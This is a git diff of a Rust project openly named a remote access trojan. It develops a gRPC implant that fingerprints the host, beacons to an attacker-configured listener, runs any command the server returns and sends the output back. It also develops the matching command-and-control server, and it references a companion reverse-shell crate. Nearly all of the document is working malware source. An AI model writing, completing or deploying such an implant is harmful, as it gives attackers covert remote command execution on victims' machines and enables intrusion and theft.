diff --git a/Cargo.lock b/Cargo.lock index 3d80a5c..1871ac6 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -622,6 +622,7 @@ name = "remote_access_trojan" version = "0.1.0" dependencies = [ "prost", + "rco_config", "tokio", "tonic", "tonic-build", diff --git a/rco_config/src/lib.rs b/rco_config/src/lib.rs index b53af2d..292f6e3 100644 --- a/rco_config/src/lib.rs +++ b/rco_config/src/lib.rs @@ -1,5 +1,5 @@ /* - For tcp_reverse_shell + For tcp_reverse_shell OR remote_access_trojan */ // IP address of the attacking machine diff --git a/remote_access_trojan/Cargo.toml b/remote_access_trojan/Cargo.toml index 5451979..3ef7212 100644 --- a/remote_access_trojan/Cargo.toml +++ b/remote_access_trojan/Cargo.toml @@ -8,6 +8,7 @@ rust-version = "1.58" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] +rco_config = {path = "../rco_config"} prost = ">=0.9" tonic = ">=0.6" tokio = { version = ">=1.17", features = ["rt-multi-thread"] } diff --git a/remote_access_trojan/rat.proto b/remote_access_trojan/rat.proto index 17d727f..1072f95 100644 --- a/remote_access_trojan/rat.proto +++ b/remote_access_trojan/rat.proto @@ -20,7 +20,7 @@ message CommandRequest { message CommandResponse { string implant_id = 1; - int32 timestamp = 2; + uint64 timestamp = 2; string command = 3; string result = 4; } diff --git a/remote_access_trojan/src/implant.rs b/remote_access_trojan/src/implant.rs index dbe4c8c..170a636 100644 --- a/remote_access_trojan/src/implant.rs +++ b/remote_access_trojan/src/implant.rs @@ -1,47 +1,75 @@ use remote_access_trojan::rat::ask_for_instructions_client::AskForInstructionsClient; use remote_access_trojan::rat::record_command_result_client::RecordCommandResultClient; -use remote_access_trojan::rat::{self, Beacon, CommandResponse}; +use remote_access_trojan::rat::{Beacon, CommandResponse}; +use std::collections::hash_map::DefaultHasher; +use std::hash::{Hash, Hasher}; use std::process::Command; +use std::time::SystemTime; use tonic::transport::Endpoint; +fn calculate_hash(t: &T) -> u64 { + let mut s = DefaultHasher::new(); + t.hash(&mut s); + s.finish() +} + +fn generate_implant_id() -> String { + let hostname = Command::new("hostname") + .output() + .unwrap(); + let hostname = String::from_utf8(hostname.stdout).unwrap(); + let hostname = hostname.trim(); + + let ip_address = Command::new("hostname") + .arg("-I") + .output() + .unwrap(); + let ip_address = String::from_utf8(ip_address.stdout).unwrap(); + let ip_address = ip_address.trim(); + + let hashed_value = calculate_hash(&format!("{hostname}:{ip_address}")); + format!("{hashed_value:x}") +} + #[tokio::main] async fn main() -> Result<(), Box> { println!("implant"); - // Does the protobuf structure work? - let example = rat::Beacon { - last_received: 0 - }; - println!("{example:?}"); + let implant_id = generate_implant_id(); // Can I send a protobuf from the client to the server? - let addr = Endpoint::from_static("http://127.0.0.1:4444"); - let mut client = AskForInstructionsClient::connect(addr).await?; + let ip_address = rco_config::LISTENER_IP; + let port = rco_config::LISTENER_PORT; + let socket = format!("http://{ip_address}:{port}"); + let channel = Endpoint::from_shared(socket)? + .connect() + .await?; + let mut ask_client = AskForInstructionsClient::new(channel.clone()); + let mut response_client = RecordCommandResultClient::new(channel); let request = tonic::Request::new( Beacon { last_received: 0 }, ); - let response = client.send(request).await?.into_inner(); + let response = ask_client.send(request).await?.into_inner(); println!("Response={response:?}"); + let command_received = response.command; if !command_received.is_empty() { let command = Command::new(&command_received) .output() .unwrap(); let command_response = String::from_utf8(command.stdout).unwrap(); - println!("{command_response:?}"); - let addr = Endpoint::from_static("http://127.0.0.1:4444"); - let mut client = RecordCommandResultClient::connect(addr).await?; let result = tonic::Request::new( CommandResponse { - implant_id:String::from("4f12d"), - timestamp: 100000, - command:String::from(command_received), - result:String::from(command_response) + implant_id: implant_id, + timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), + command: command_received, + result: command_response }, ); - let response = client.send(result).await?.into_inner(); + let response = response_client.send(result).await?.into_inner(); + println!("{response:?}"); } Ok(()) diff --git a/remote_access_trojan/src/server.rs b/remote_access_trojan/src/server.rs index 85f9cf5..1ed51ba 100644 --- a/remote_access_trojan/src/server.rs +++ b/remote_access_trojan/src/server.rs @@ -1,15 +1,12 @@ use remote_access_trojan::rat::ask_for_instructions_server::{AskForInstructions, AskForInstructionsServer}; use remote_access_trojan::rat::record_command_result_server::{RecordCommandResult, RecordCommandResultServer}; -use remote_access_trojan::rat::{self, Beacon, Empty, CommandRequest, CommandResponse}; +use remote_access_trojan::rat::{Beacon, Empty, CommandRequest, CommandResponse}; use tonic::{Request, Response, Status}; use tonic::transport::Server; #[derive(Default)] pub struct MyAskForInstructions {} -#[derive(Default)] -pub struct MyRecordCommandResult {} - #[tonic::async_trait] impl AskForInstructions for MyAskForInstructions { async fn send(&self, request: Request) -> Result, Status> { @@ -24,6 +21,9 @@ impl AskForInstructions for MyAskForInstructions { } } +#[derive(Default)] +pub struct MyRecordCommandResult {} + #[tonic::async_trait] impl RecordCommandResult for MyRecordCommandResult { async fn send(&self, request: Request) -> Result, Status> { @@ -39,21 +39,15 @@ impl RecordCommandResult for MyRecordCommandResult { async fn main() -> Result<(), Box> { println!("server"); - // Does the protobuf structure work? - let example = rat::CommandRequest { - command:String::from("server words"), - }; - println!("{example:?}"); - // Can I send a stand up the server? - let addr = "127.0.0.1:4444".parse()?; + let ip_address = rco_config::LISTENER_IP; + let port = rco_config::LISTENER_PORT; + let socket = format!("{ip_address}:{port}").parse()?; - let instructions_server = MyAskForInstructions::default(); - let recording_server = MyRecordCommandResult::default(); Server::builder() - .add_service(AskForInstructionsServer::new(instructions_server)) - .add_service(RecordCommandResultServer::new(recording_server)) - .serve(addr) + .add_service(AskForInstructionsServer::new(MyAskForInstructions::default())) + .add_service(RecordCommandResultServer::new(MyRecordCommandResult::default())) + .serve(socket) .await?; Ok(())